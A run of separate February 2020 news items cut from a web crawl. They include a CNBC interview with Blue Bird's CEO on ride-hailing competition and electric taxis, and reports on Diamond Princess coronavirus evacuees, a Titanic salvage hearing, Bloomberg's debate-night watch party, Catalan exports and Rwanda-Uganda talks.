traces were found in a further 59,545 square kilometres of the ocean. Abbott said a new search operation should begin soon. "Let's assume that it was a murder-suicide by the pilot and if there is any part of that ocean that could have been reached on that basis that has not yet been explored, let's get out and explore it," he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Below is the transcript of the CNBC Exclusive interview with Noni Purnomo, President Director and CEO, Blue Bird. The interview will play out in CNBC's latest episode of Managing Asia on 21 February 2020, 6.30PM SG/HK (in APAC) and 11.00PM BST time (in EMEA). If you choose to use anything, please attribute to CNBC and Christine Tan. Christine Tan (CT): Bluebird has always been an innovator in Indonesia's transportation market. With your taxis, you were the best to operate me metered taxies and then you were among the first to enable you drivers with GPS. Why is technology important to you? Noni Purnomo (NP): Technology is very important for us for many different reasons, because I think what is most important for us, because we own our assets. So, it is very important for us to be able to operate our assets in the most efficient and productive way. With the number of assets we have, we do need technology to help, because when we only had one hundred (cars), we could remember all - the car, the driver, we can match them. But with so many now, we do need technology to help us. And advancement of technology lately really helps us and make sure that we are more efficient and more productive. It is very important for us that the productivity of each car, that means the number of kilometers with passengers on the meter, is good enough, so that it's very productive. For that, we need to be able to use technology including the heat map. CT: So, you really want to hit full maximization, full utilization? NP: Yes. We have to. I don't think this is a matter of want or not want anymore. We really need to take full advancement of technology at this moment. CT: So, you've move into electric vehicles, buying them from BYD and Tesla. Is it all part of your technology transformation? NP: It is part of our sustainability transformation because we want to contribute positively to the environment. That's why when President Jokowi initiated the idea to have zero emission transportation, we were the first to pick that up. CT: When you listed the company in late 2014, the company your grandmother founded was riding high. Then came the onslaught of ride-hailing giants - Grab, Uber, Gojek - competition which almost wiped out 80 percent of the company's market value from its peak. Did you ever imagine it would have such a big impact on the company? NP: We didn't imagine that it would impact that badly in such a short time. CT: What went through your mind? NP: What happened in 2016, basically March 2016It was on our radar in a way, because Uber started in the US. But on the other side, we thought that the Indonesian market was not ready for this kind of technology because we did launch a taxi mobile application in 2011 but it didn't pick up. So, that's the lesson learnt for us. You know, sometimes being a pioneer and innovator in something, it doesn't mean that you would be the most successful because there are so many other variables to it. What happened then, the network, the infrastructure was still GSM, so it was still so slow to download. That was why the market didn't pick it up. So, what we missed out at that time was the trajectory of the technology in the network itself. Because we've been around for 47 years, we have to take care of two parts right: the new innovation and how do we take care of the old technology? Because we do have to take care of both. One of the challenges is about timing as well. When are we going to change completely this old system and invest heavily on this new system? I think it is one of the challenges. CT: You say that the biggest challenge came not from the technology itself, but from the price competition, and because you are governed by regulations, it meant you really couldn't enter the price war. Just how frustrated were you at that time that you couldn't fight back? Did you lose a lot of drivers in the process? NP: Well, we lost a lot of customers because of that, because it was something new, something exciting for the customers. You're right - the price subsidy, the price dumping really hit us badly during that time. We also lost a lot of drivers during 2016, especially. But after two years now, starting 2018, we've started to have our drivers coming back to us. I think maintenance started to hit because when they were our drivers, we took care of everything. We took care of the maintenance. We took care of their health, including their family, their children. We gave scholarships CT: They were missing all that? Noni: So, they started to miss all of that, especially after two years, because that was when the maintenance start hitting. In the first two years, maintenance was still covered by the dealers and things like that. But after two years, it's your own costs. So, I think that was when our drivers started to come back. So, since 2018, we've started to see the pendulum starting to stabilize a little bit. But still, the biggest issue we are facing up to this moment is the price subsidy. But again, we strongly believe that we focus on our strength, which is the quality of our drivers, the quality of our cars, the cleanliness, the safety part. We really focus on that and that costs money. CT: Still, you've been lobbying the Government for more level playing field? NP: A level playing field is very important because what is important as a public transport? We are being governed by the Government, not just the pricing part, but what is also important - and I think the government should not remove is the safety part. That's why every single vehicle has to be inspected. That's why we need to prove that we have really reliable maintenance facilities because it is all for the safety of the passengers. The pricing part - I think we all need to talk together and see how we can improve and adjust. So, that's why now for us what is important is we want to be agnostic. We need to focus on giving safe and comfortable transportation services to our customers, and our customers can choose whether they want to use our own or hail on the street. It's just multi channels, multiplatform and multi payment as well. CT: So, you need to give them a reason why they have to pay a premium for you? NP: Well, it's not really a premium. It's the right pricing. It's not a premium. So, it really depends on how you see it. CT: How you look at it? NP: Yes. CT: Gojek has taken a stake in Blue Bird. What exactly does this investment and partnership mean for Blue Bird? NP: It means that they're interested in investing in us. That also means that they still believe that our company can be beneficial for Gojek as well. So, I think that's one of the things that has been proven. I think it's a mutually beneficial relationship. We both have our own strengths and weaknesses. What Bluebird needs is to add more channels of reservations. So, with this, we can add those channels of reservations; and with the integration of our system, we can enhance our services to our customers as well. CT: There are lots of concerns that Gojek buying a stake would give them access to critical data that belongs to Blue Bird and in a way that could be used as ammunition against you. Are you worried? NP: Yes, well, we are aware of it, and that's the reason why we made an agreement about integration so that all the data, our passengers' data, our drivers' data are still kept within our premises, because what is important for us and what Blue Bird is known for, is safety. This includes safety of data of our passengers and our drivers. So, we need to keep it according to our own rules, which may not be the same as Gojek's. So, this is the one that we put boundaries on. For example, the reason why our drivers cannot get the number of our customers is for safety reasons. So, when our driver needs to call or talk to our customer, they need to go through our central operations so that the driver does not keep the customer's number. CT: So, you are limiting their access? NP: We are limiting access according to our own rules and regulation, our own values. CT: Somehow, that raises the question of where do you see Gojek? Are they now a partner or a competitor? NP: So, you know, it is very interesting. For us, it is still in line with our vision. We're just giving access to our customers. So, if this means giving more access to our customers, it is a good strategic alignment. We would not work together with anyone who we think would jeopardize our own business or our customers'. With Gojek, we have the same values. So, what we agreed on is that we would keep the same quality. What Gojek needs is the quality of service delivery. What Blue Bird needs is to extend or add channels of reservations. So, I think this is a mutually beneficial relationship. Blue Bird still owns a majority over the shareholders. CT: Would you be open to them taking a bigger stake in future? NP: We're not open at this moment. No, I think at this moment, we're just limiting, because we still want to have the biggest control of Blue Bird because the family is the guardian of the value of Blue Bird. So, that's the one that we need to make sure that is continuing. CT: There's just so much uncertainty in the global economy right now. There are all these concerns about the destruction coming from the coronavirus and how disruptive that might be for businesses. Are you watching this development closely? Potentially, how could it impact your business? NP: Yes, I think our market segmentation is based a lot on the middle and upper class. So, that means also that the variables are not going to be that much. But certain areas of Indonesia, for example, Bali. Bali is impacted, especially because in the past few years, there were a lot of Chinese tourists coming to Bali. So, Bali operation will be impacted. But on the other hand, we also have engaged in more relationships in the domestic market in Bali. So, we hope even though it is affected, it will pick up again and we hope this coronavirus will be handled very, very soon so that people will be able to travel again. CT: Still, you're in the public transportation business. How are you preparing your drivers, whether it's here or Bali, how you preparing your drivers to handle this health crisis? NP: Number one is awareness. So, we give them information about the virus so that they don't just watch or read from whatever information they receive from WhatsApp groups, you know, the social media. When you arrive at the airport, we encourage some of our staff who work inside to wear masks. So, we also ask the drivers to be aware of the passengers. If the passengers are looking not healthy, then they have to wear their mask. If they feel something, they have to report. The good thing about our company is in each depot, we have our own clinics. So, every day, the driver comes back to our depot. So, we will be able to monitor our drivers very well. So, it's about prevention. CT: So, your move into electric vehicles and you're buying them from BYD and Tesla, is it all part of your technology transformation? NP: It is part of our sustainability transformation because we want to contribute positively to the environment. So, when our President Jokowi initiated the idea of using electric vehicles in Indonesia, we quickly took the first step. It started two years ago with the idea. So now, we're doing pilot testing. We have made a decision that we're going to add about 200 more of the regular taxis using BYD, and we're going to add several more also for these Silver Bird Tesla X. CT: You might be going sustainable. That's one thing. Are your investors also buying into your idea? Buying into this vision of yours? NP: Our investors are excited as well, because the reality is - this pilot project will prove that by using electric vehicles, not only will we contribute positively to the environment, we can also reduce maintenance costs. We can also reduce the fuel costs. But that needs time. So far, I think we're pretty happy with the results. What we can save up to this moment is about 30 percent of the gasoline cost. and maintenance costs is about nine percent of our revenue. So, if we can reduce that significantly, it will improve our profit margin. CT: So, how long does it take for you to recoup your investment into electric vehicles? NP: Well, at this moment, it's still long. It's still about eight to 10 years, that is for the Teslas. But we hope that the price of the electric vehicle will go down, so it would be more feasible. For BYD or the regular taxis, at this moment, we're still subsidizing the price. So, that's why it takes about, as I mentioned, five to 10 years. CT: More importantly, what's the passenger demand like for these electric vehicles, electric taxis that you have? NP: They love it. They love it. CT: Really, how so? NP: We have a special lane at the airport because we are also supporting the Soekarno-Hatta Airport. They want to be a green airport, so we have a special lane there. You can see that people actually line up, and they're willing to wait because we don't have that many. So, we would like to see when will be the right time to really scale it up. CT: And when would be the right time, you think? NP: So, number one, when the price of battery is really down. Number two, when we get really good support in the loan itself. At this moment, we're still taking the same loan and interest as the other vehicles. So, if we can get the support of better funding for us to buy first, because we have to buy the assets, that would help a lot. The benefit would be felt after three years because that's when the operational cost savings start to kick in. CT: But, in the meantime, EVs need charging stations. How do you get around the problem when there's a lack of charging infrastructure in this country? NP: So, that is the reason why we chose this Tesla X and BYD, because it's already proven that they can run for 400 kilometers per day. Our taxi on average run about 220 kilometers per day. So that by itself is already safe enough for us to just have the electric charging stations in our premises. We want to change our whole fleet to zero emission. CT: And how long will that take? What sort of timeframe are you looking at? NP: So, this is the thing that we're trying to work out. We're trying to work with the Government. We're trying to work with a financial institution. Please help us make it faster, because we have to depend on our own strength - financial strength and our own R&D and things - it will take about five to 10 years to do it. But we can do it faster if we can get support from the financial loans for example, or whoever wants to do R&D together with us, so it would reduce our R&D costs as well. CT: So, seven years is the timeframe you are looking at? NP: The reason for that is because we replace our cars every five years. So, the longer we wait, the longer it will be because every year, we have to buy at least 4,000 vehicles. CT: It's a big commitment on your part. NP: 4,000 vehicles every year. So, can you imagine if we can replace that 4,000 every year to a fully electric car instead of combustion engines? The impact that we can contribute to Jakarta or to Indonesia. CT: You've officially taken over from your father in May last year to be in charge of Blue Bird. What sort of leadership and management style will you provide at a time when disruption is creating so much uncertainty in the marketplace? NP: I'm an optimist. To survive and be sustainable, sometimes we need to have that balance. Being innovative, and also trying to understand what is our real strengths and weaknesses? So, we can focus on which one we should improve on now and which one that we should keep. Also, I always engage everyone. I always say, don't think out of the box because there is no box! You just need to think and think differently. We need to engage with millennials. We need to be able to engage with our future customers and future employees. So, I think that's my task at this moment. CT: And finally, as a third generation continuing the family's business, what impact do you want to make? What is your ultimate ambition for Blue Bird? NP: I want Blue Bird to be remembered as a transportation company, not just a taxi company, a transportation company bringing people home safely. That applies not just for our customers, but also for our drivers. That's why another thing that we've invested heavily now is how to make our offices, our depots more homely, because our employees, our drivers spend a lot of time there. A lot of our drivers live in our head depot, in our dorm. And the legacy of our family - the legacy that my late grandmother built, my father already built up to this time - is that we want to be remembered as a company that always will be there for you. Whether rain or shine, we don't charge differently right? We'll be there, and we'll make sure that you will come home safely. But when there was flooding, we were still in operation. When there were riots, we were still in operation, you know. So, we have been proving it for 47 years and we hope we will be there also for a longer time. CT: Noni, thank you so much for talking to me. NP: Thank you. END Media Contact: Jessica Tan Shu En Marketing and Communications Assistant, CNBC International D: +65 6326 1791 M: +65 9105 4719 About CNBC: CNBC is the leading global broadcaster of live business and financial news and information, reporting directly from the major financial markets around the globe with regional headquarters Singapore, Abu Dhabi, London, and New York. The TV channel is available in more than 380 million homes worldwide. CNBC.com is the preeminent financial news source on the web, featuring an unprecedented amount of video, real-time market analysis, web-exclusive live video and analytical financial tools. CNBC is a division of NBCUniversal. For more information, visit www.cnbc.com At least 22 more people evacuated from the Diamond Princess cruise ship in Japan to two U.S. air bases have either tested positive or shown symptoms of the coronavirus, including 16 who arrived at Travis Air Force Base but have now been transported to local hospitals, a spokesman for the Centers for Disease Control and Prevention told The Chronicle. At least six passengers who arrived at Lackland Air Force Base near San Antonio have also been taken to hospitals for further testing, the spokesman, Scott Pauley, said. These are in addition to 14 passengers who authorities discovered had tested positive while they were on buses that took them from the cruise ship to the plane. The 14 were allowed to board the government-chartered cargo planes, but were kept in a plastic isolation chamber on board. Afterward, they were transported to a hospital in Omaha, Neb., not to the bases. The additional 22 or more passengers traveled in the main cabins along with more than 300 others evacuated from the ship, during the flights to Travis and Lackland. A total of 338 Americans were transported from the cruise ship, where they had been quarantined since Feb. 4 because of an outbreak of coronavirus, to the two air bases. They arrived late Sunday or early Monday to begin another 14-day quarantine. The plane that went to Travis had 178 people on board, Pauley said. Of those, six went to Omaha, he added. Since then, we have had 16 people sent to local area hospitals for testing and screening. Of those, 11 were tested in Japan, but their results had not yet come in when they boarded the plane, and they were not showing symptoms. They are being retested in the United States, which has not yet officially declared any of the cruise ship passengers infected. We dont want to take (the tests done in Japan) at face value, Pauley said. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. The other five began showing symptoms after they arrived at Travis. Pauley would not disclose which hospitals the cruise ship passengers were taken to. The San Francisco Department of Public Health said that an individual who has no symptoms but tested positive for the coronavirus in Japan was brought to an undisclosed San Francisco hospital from Travis, where this person was quarantined after disembarking a cruise ship. Pauley said that as of Wednesday night, at least six people who arrived at Lackland were taken to local hospitals for testing. San Francisco staff writer Catherine Ho contributed to this report. Kathleen Pender is a San Francisco Chronicle columnist. Email: kpender@sfchronicle.com Twitter: @kathpender with reporting by Ben Finley The decision on proposals to recover the telegraph machine from the Titanic by cutting a hole in the ships hull has been deferred by the US judge presiding over the case. As previously Read More: Lawyers for RMS Titanic, the US firm hoping to salvage wreckage from the ship, called witnesses before a US federal judge this week to explain why they should be allowed to possibly cut into the rapidly deteriorating ship to recover the device before it is irretrievable. Its one of those iconic artefacts, like the signal flares (that the sinking ship launched), said David Gallo, an oceanographer who retired from Woods Hole Oceanographic Institution and is now a paid consultant for the firm. Mr Gallo, who appeared at federal court in Norfolk, Virginia, said salvaging the device would not be grave robbery but a way to connect people to the ships legacy and honour its passengers. International Maritime Organisation consultant Michael Kingston, from Goleen in West Cork, wrote to Judge Rebecca Beach Smith, who presides over Titanic salvage matters, urging her to consider Irelands interest as a nation in the case due to its close connections with the ship. He said there has been no consultation on the need to consider the families of those who died, or for the victims of the tragedy. A large majority of those who lost their lives were Irish and British citizens, who at that time would have been fellow citizens. In combination, Irish and British, we are talking about the memory of 1,000 people, many of whom are entombed in the vessel, Mr Kingston said. The company is already facing resistance from the National Oceanic and Atmospheric Administration (NOAA), which represents the publics interest in the wreck site. The US Attorneys Office in Virginia represents NOAA. Its lawyers argued in court documents that the proposed retrieval runs contrary to prior court orders that prohibit the firm from cutting holes or taking items from the wreck. The items that the firm has salvaged, including silverware, china and gold coins, came from a debris field outside the ship. It seems clear that this is not simply a one-off proposal for the Marconi wireless telegraph, but a placeholder for future requests to take similar actions in order to recover other artefacts from inside the wreck, federal lawyer Kent P Porter wrote. Karen Kamuda, president of the Massachusetts-based Titanic Historical Society, said the society has been against disturbing the wreck since 1985 because it is a grave site. As usual, its all about money. Judge Beach Smith said it was too early for her to make any decisions on the proposal. She said she needed more details and proposed scheduling another hearing sometime in the future. Plane Carrying Ukrainians Arrives From China's Wuhan Amid Protests By RFE/RL's Ukrainian Service February 20, 2020 KYIV -- A plane carrying the first group of Ukrainians evacuated from China's Wuhan, the city at the epicenter of the deadly new coronavirus outbreak, has landed in Ukraine amid protests by residents of the eastern city of Kharkiv, where a quarantine center has been set up. Ukrainian authorities said 45 Ukrainians and 27 foreigners, as well as medical personnel and crew members, were aboard the plane. The nationalities of the foreign citizens were not immediately known. Ukrainian President Volodymyr Zelenskiy wrote on Facebook on February 20 that the plane carrying both Ukrainians and several foreigners made a quick stop to refuel at Kyiv's Borispil airport before landing in Kharkiv. Zelenskiy said all the people who arrived from Wuhan will be quarantined for 14 days in the National Guard's medical center in the town of Novi Sanzhary in the eastern region of Poltava. Local authorities they will be transported to Novi Sanzhary in heavily guarded buses. Meanwhile, a group of Novi Sanzhary residents protesting the presence of the quarantine center in their town blocked a major highway in the region and scuffled with riot police. Regional Governor Oleh Synehubov arrived at the protest site to try to calm the protesters. Separately, in the western region of Lviv, protesters blocked a highway for a short time amid rumors that some of those evacuated from Wuhan could be placed in quarantine in a military hospital in the area. Local authorities denied the rumors. Zelenskiy in his Facebook post called on Ukrainians to show respect for their returning compatriots and stop the protests. Source: https://www.rferl.org/a/plane-carrying -ukrainians-arrives-from-china-s-wuhan- amid-protests/30445316.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Buried beneath the trending headlines about rising student loan debt is a little-known story in higher education. It is a story built upon facts that runs counter to a one-sided narrative. While it is true U.S. student debt exceeds $1.5 trillion, that number, and the alarming anecdotes it has spawned, does not tell a complete story. Consider, if you will, one startling fact contained in a 2019 report from the Council of Independent Colleges, or CIC. According to the study, only 7 percent of borrowers owe $100,000 or more after graduating. At the same time, 30 percent of undergraduates from private colleges and 37 percent from public universities earn degrees with zero debt. That is no misprint. There are four to five times as many undergraduate degree holders with no debt as there are with six-figure debt. A sizable number complete bachelors degrees with minimal debt. According to the study, 10 to 13 percent of all undergraduates from nonprofit institutions owe less than $10,000 after earning degrees. Based on data from the College Board, the Georgetown University Center on Education and the Workforce and the U.S. Department of Education, the CIC report yielded other eye-opening details: Obtaining a college degree on average adds $1,000,000 to lifetime income. A private college graduate typically earns $53,856 in the first year after graduation. As president of a Catholic institution, Our Lady of the Lake University, I hear parents and high school students say the cost of attending a private school is unaffordable. The truth is, OLLU and other privates are more affordable than many realize. According to the CIC study, 82 percent of private college students receive scholarships or grants, which do not have to be repaid. Students at private colleges receive more than three times the amount of grant aid ($20,211) as those at public universities ($6,132). The study also noted, On average, the actual amount students pay at private colleges is less than 60 percent of the published tuition price. OLLU works hard to keep tuition affordable. The university boasts the lowest tuition among private schools in San Antonio, a rate that is lower than notable privates in Houston, Dallas, Austin and Seguin. In many cases, our students with strong academic backgrounds and the highest financial need are paying as little as $2,600 in tuition for the 2019-20 academic year. Still, misconceptions about the cost of higher education persist, leading some to question its value. One common fear, fueled in part by media reports, is that crushing loans are leading to large numbers of defaults. The CIC study, however, indicates student loan default rates are declining: from 7 percent (for privates) to 7.5 percent (public) in 2014 to 6.3 percent and 6.8 percent in 2016. Other numbers are trending downward. For example, in 2012-13, the average debt per bachelors degree recipient was $17,300. In 2017-18, that number fell 3 percent to $16,800. These facts do not make headlines. Put together, however, they form a more complete picture of student debt than the one shown in trending stories. Private universities are affordable and provide excellent choices for students from every walk of life. Diane Melby is president of Our Lady of the Lake University. Police at the scene of the attack. Pic McAuley Media A man is in a serious condition in hospital after he was stabbed in the middle of the day in Belfast. It happened on the footbridge at the rear of the Waterfront Hall on Lanyon Place at around 11am on Friday. Police said they were working to establish a motive. Detective Sergeant Kyle Corrigan said: "I'm appealing to anyone who may have been in the area of the blue metal footbridge at the rear of the Waterfront Hall this morning. Did you see anything suspicious? Did you see the incident, or any one running away from the scene? "I would encourage anyone with information to report it to police on 101 quoting reference 499 of 21/02/20. "Alternatively, information can also be provided to the independent charity Crimestoppers on 0800 555 111 which is 100% anonymous and gives people the power to speak up and stop crime. Click here to read the full article. A little more than a week and a half ago, Mike Bloombergs Brooklyn campaign office was just an empty storefront the kind of white-walled box one can rent on an app for $400 an hour, if they have an art show or a pop-up influencer event to throw with inoffensive wood floors and just a touch of exposed brick. On Wednesday night, for the former New York mayors debut on the Democratic primary stage, the room was littered with Mike 2020 signs, the pricey kind: corrugated plastic, high-quality ink. An acrylic portrait of Biggie Smalls by a local artist, a campaign spokeswoman eagerly noted, hung on one wall. On the opposite was a map of the cities (51) and states (22) the financial titan, media tycoon, and three-term mayor of New York has visited since jumping into the 2020 presidential campaign less than three months ago, after almost a dozen candidates had already bowed out. Someone had strung blue LED lights for the occasion, and a projector was beaming a livestream from the main event in Las Vegas on the back wall. But if the handsomely compensated campaign workers staffing the event imagined their candidate would be greeted on the debate stage like a team of EMTs racing into a parking lot in the nick of time, the reception he got even here, at this catered party at his own campaign office was somewhat more tepid. More from Rolling Stone The night started off promisingly enough: Roughly 70 supporters were there for tip-off, either perched on folding chairs or piling their plates with selections from a generous halal buffet (provided, the Bloomberg spokeswoman noted, by a local caterer). The space could fit 200, but between the tables of food and the tables covered with Mike 2020 buttons and stickers, it felt cozy for at least the first 35 to 40 minutes of the debate, around the time it became abundantly clear that the strategy the former mayors aides pursued up until this point predicated on keeping him off the debate stage as long as possible was the correct instinct. Story continues Bloombergites started the night fired up. Warrens early knock on their guy a billionaire who calls women fat broads and horse-faced lesbians elicited a loud chorus of boos in the room, but it got considerably quieter after that. The Bloomberg team soon lowered volume for a brief PSA: Were not going to do boos positive vibes! a campaign volunteer gently suggested. After that, there was a single awkward cheer for the mayors stop-and-frisk answer, and a lot of muted grumbles and head shakes as Bloomberg was slammed again, and again, and again by his rivals. Folks started peeling off about midway through the debate, but not Jay Downey nor Craig Shirtleff, two friends, digging into the halal spread, who told me theyd come out of a morbid curiosity. They a Bernie Sanders supporter and an Elizabeth Warren guy wanted to watch the reaction of Bloomberg supporters to his debate performance. Mostly, Downey said, he was there to see who could bring themselves to something like this unironically. He seemed satisfied: The crowd felt deflated. Bloomberg just got dragged When his record gets brought up at all, this room goes silent, he noted. Ruth DeGolia, who arrived with her fiance, Josue Alvarez, was a bit more open-minded. DeGolia, who described herself as a Warren supporter most politically aligned with Sanders, had found herself at the Bloomberg party after two slightly disappointing finishes by her first choice candidate in Iowa, then New Hampshire. Alvarez, a committed Bloomberg stan, liked that he cant be swayed by outside money, and approved of the former mayors support of liberal causes mentioning in particular money Bloombergs PAC put up in 2018 that helped to sweep 15 female candidates into office. DeGolia was looking at Bloomberg after starting to get very nervous that neither Warren nor Sanders could prevail in a general election. I dont like the idea that a billionaire can buy his way into the presidential race at this stage, she admitted. And while she was not super excited about the prospect of Bloomberg becoming the nominee, she was considering his candidacy and Sen. Amy Klobuchars as back-ups. Still she had reservations: Is he a little bit racist? Is he a little bit sexist? Nicole Anselm, who was invited to the watch party after signing up to volunteer for Bloomberg, also had reservations after finally seeing her candidate debate. In particular, Anselm, who is black and lived in New York during Bloombergs three terms, was given pause by his defense of stop-and-frisk. But she was quick to add, It did work the numbers show I know his intentions were good. Two blocks down Atlantic Avenue, at the Commons Cafe where a life-size cutout of Warren greets you as you walk through the door the mood was far less ambivalent. You could even call it jubilant. In a rowdy, packed backroom lit by Edison bulbs, the Massachusetts senators supporters cheered and jeered and guzzled unfiltered beers from glass goblets. Glittery handmade signs hung from the walls, next to the WiFi password (Composting, capital C); campaign volunteers, wearing tags with both their names and pronouns, milled around with sign-up sheets for phone banking and canvassing. The crowd snapped and whistled and hollered with each one-liner Warren or Sanders landed at Bloombergs expense. (Hes got to regret it, one mused about Bloombergs decision to get in the race; It looks like hes sucking on a lemon, another observed.) The mood was so bright, you would hardly know that their chosen candidate once the heavy favorite in this race was running a distant third to both Sanders and former South Bend Mayor Pete Buttigieg, and just barely ahead of a relatively low-profile senator who, at one point last year, was best known for eating a salad with a comb. Warren, who placed third in Iowa and fourth in New Hampshire, ranks third overall in the race for delegates, ahead of Klobuchar and Joe Biden. There seemed to be a growing consensus going into Wednesdays debate that she was basically toast, a sneaking feeling bolstered by certain microaggressions like the fact that Warren was recently left off of the portion of an NBC News/Wall Street Journal survey that put candidates, including Buttigieg and Klobuchar, who both who placed lower than Warren in the poll, in hypothetical head-to-head matchups against President Trump. All that seemed forgotten Wednesday night, as Warren finally got the chance to directly confront her favorite campaign-trail foil: the greedy billionaire. Supporters, like Matthew Malloy, who will tell you proudly that fun fact he happened to be the very last person in the selfie line with Warren when she appeared in Washington Square Park last summer, were delighted. Malloy assured me he is really not worried about Warrens performance in the primary so far. Bloomberg might be carpet-bombing the airwaves in Super Tuesday states, but, Malloy said, the Warren campaign where he has been volunteering since August has put a premium on people, not advertising. And that last night was the most valuable airtime of all, with Bloomberg finally there front and center. Theres not a better canvas to illuminate whats wrong with our society, Malloy said. But there were others who admitted, after some prodding, that even with the help of her strongest debate yet, it was going to be tough for Warren to stage a meaningful comeback in this race. Tyler Adams helped organize the debate watch party, which while larger than the Bloomberg viewing down the street constituted a smaller group of Warren supporters than had gathered to watch other debates. Am I scared? No, Adams said. With love comes vulnerability. And, win or lose, Adams takes some comfort in the fact that, by being a [Warren] supporter, Ive done everything I could I left it all on the field for this country. As for Bloomberg, he didnt leave much of an impression maybe because Tom Steyer didnt make the cut this time around. (Swap one billionaire out for another, Adams joked.) But, she added, somewhat flatly, I think he has enough money that it doesnt matter how he did. After the closing statements wrapped up, carts of leftover food were being rolled out of the Bloomberg party and John Makonen strolled out onto Atlantic Avenue. He said he thought the mayor seemed nervous, chalking his uneven performance up to first-night jitters. Makonen, who claims with a note of pride that he predicted Trumps victory, thinks the president will be defeated this time, and hes confident either Sanders of Bloomberg will do it he just doesnt know which one it will be, or which of the two hell back. (They might represent vastly different worldviews, but Makonen insists both Sanders and Bloomberg are more issues-focused than the rest of the pack and neither, he notes, accept money from special interests.) As for Ruth DeGolia and her fiance, Josue, they disappeared from the Bloomberg party halfway through. DeGolia confirmed by text theyd left to join the Warren contingent at the Commons Cafe. I didnt become a Bloomberg supporter, she wrote. Josue continued to support him, but I decided to stick with Warren particularly after her strong debate performance. But even after the best debate showing of Warrens campaign, maybe ever in her career a contrast so stark that DeGolia was literally moved a distance of several city blocks even after all that, DeGolia was leaving open the possibility that things could shift out of Warrens favor once again. And that sentiment has to be frustrating for the Warren campaign: an indication that no matter how great she is, shell never not be haunted by fears, real or imagined, fair or unfair, of electability. DeGolia still entertains the possibility of leaving Warrens camp again, if she becomes re-convinced a more moderate candidate will have a better chance of taking out Trump. In that case, based on Wednesdays debate, she says shed back Klobuchar. Best of Rolling Stone See where your favorite artists and songs rank on the Rolling Stone Charts. Sign up for Rolling Stones Newsletter. For the latest news, follow us on Facebook, Twitter, and Instagram. Catalan exports grew by 3.1% in 2019 to 73.8 billion, setting a record for the ninth consecutive year. Exports have grown despite an unfavourable economic outlook, with an abrupt slowdown in the European economy, uncertainty surrounding the US-China trade war and a Brexit which has taken effect without the future of the UKs trade and economic relations with the European Union having been clearly defined. Against this backdrop, exports from the Spain as a whole grew by a modest 1.8%, while Catalan exports managed to dodge the slowdown and increased by even more than in 2018, when growth stood at 1.1%. What is more, Catalonia has once again taken the lead as the autonomous community which contributes the most to Spain's exports, with a total of 25.5%, four per cent up on 2018. The figures show that Catalan industry has coped well with the economic slowdown. This in spite of the fact that European countries, the major recipients of Catalan exports, have suffered more from the challenging economic situation, with a more modest growth in their GDP than Spain. In 2019, some of Spains key European partners saw very slight increases in their exports, in line with their underwhelming economic growth. Germany, for example, saw its exports grow by just 0.8%, while in Italy the increase was 2.3% and 2.9% in France. The average across the euro area (1.9%) is also lower than Catalonias 3.1% increase. More exports to Asia and the US In 2019, Catalan exports grew mainly in Asia (+ 8.9%) and the US (+ 5.3%), while also increasing in the European market (+ 4.5%). A 3.6% hike in exports to the United Kingdom is also significant, in spite of the effects of Brexit. According to financial experts, the sharp increase in non-European markets is largely responsible for the fact that Catalan companies have continued to export at a decent rate. According to Joan Romero, the CEO of Accio (a government agency), Catalan companies have learnt to diversify and become competitive in markets where they previously did not have much of a presence". Joan Tugores, Professor of Economics at the Universitat de Barcelona also believes that diversification is the key, both geographically and by sector. For Tugores "this explains why Catalan exports are coping well in this difficult context: diversification and a job well done by a large part of the business community, which is able to turn difficulties into opportunities". According to the economist, the fact that exports have increased in a challenging scenario "is very positive news which proves that the country has learnt that foreign markets are not incidental and that things are going well". By sector, the sales record set by the pharmaceutical industry stands out, with a spectacular increase of 23.4%. Chemicals (19.9 billion), capital goods (12.7 billion) and food, beverages and tobacco (10.2 billion) remain the sectors which are responsible for the success of Catalan exports. Nevertheless, imports also grew in 2019: up by 2.5% to 92.4 billion. The deficit in the Catalan trade balance continued to grow, although only by 0.1%. Uncertainty for 2020 A great deal of uncertainty surrounds economic forecasts for 2020. Experts warn that the coronavirus could have an impact on the world economy and affect exports. However, there are also other risks, such as new tariffs imposed by the United States. After the first month and a half of the year, certain indicators point to a general economic slowdown and the International Monetary Fund (IMF) admits that the coronavirus could "derail" the economy. This Wednesday, Kristalina Georgieva, the Managing Director of the IMF, warned that "the recovery could be derailed by a sharp rise in the risk premium caused by a further escalation of trade tensions or if the coronavirus continues to spread". Nonetheless, Professor Joan Tugores sends an optimistic message: he does not consider that the uncertainties in 2020 will necessarily lead to a drop in Catalan exports. "The figures for 2019 show that Catalan exports are resilient. They are able to remain dynamic despite adverse conditions", he said. However, Accios CEO foresees that the coronavirus outbreak could have a "significant impact" on the Catalan economy if Chinese customs remain partially closed for a prolonged period. As a result, he predicts that the next quarter will be "a tough one". Source: Xinhua| 2020-02-21 20:54:39|Editor: xuxin Video Player Close KIGALI, Feb. 21 (Xinhua) -- Rwandan President Paul Kagame and his Ugandan counterpart Yoweri Museveni on Friday morning met at Gatuna-Katuna border crossing for talks that seek to normalize bilateral relations. The two leaders were joined by Angolan President Joao Lourenco and Felix Tshisekedi, president of the Democratic Republic of the Congo (DRC), the facilitators of the talks between Rwanda and Uganda at the 4th Quadripartite Summit. The meeting follows the 3rd Quadripartite Summit in Luanda, Angola on February 2 and the 3rd Ad Hoc Commission meeting in Kigali between Rwanda and Uganda on February 14. The four Presidents will address a press conference later in the day after the closed door meeting, according to the Rwandan ministry of foreign affairs. Ahead of the meeting, Rwanda's Minister of State for Foreign Affairs in charge of East African Community (EAC) Olivier Nduhungirehe told reporters that the talks will bear fruitful outcomes. The meeting is expected to come up with tangible solution to the current bilateral standoff between Rwanda and Uganda, according to the Rwandan ministry of foreign affairs. The government of Rwanda remains fully committed to meet its obligations in the implementation of Luanda Memorandum of Understanding. The Uganda government has already released 22 Rwandan citizens who were detained in the country. Rwanda also reciprocated by terminating the prosecution of 17 Ugandans who were facing several cases in Rwanda, along 3 others who completed their sentences, who were deported. Last year, Rwanda closed its common border with Uganda alleging that the latter was incarcerating its citizens. Uganda denied the allegations. (Kitco News) - A near doubling in margins for both iron ore and PGM divisions at Anglo American (LON:AAL) helped the diversified South African miner close the year up 8% to $2.75 earnings per share. The company highlighted an EBITDA of $10.0 billion, a 9% increase, and $2.3 billion of attributable free cash flow. The 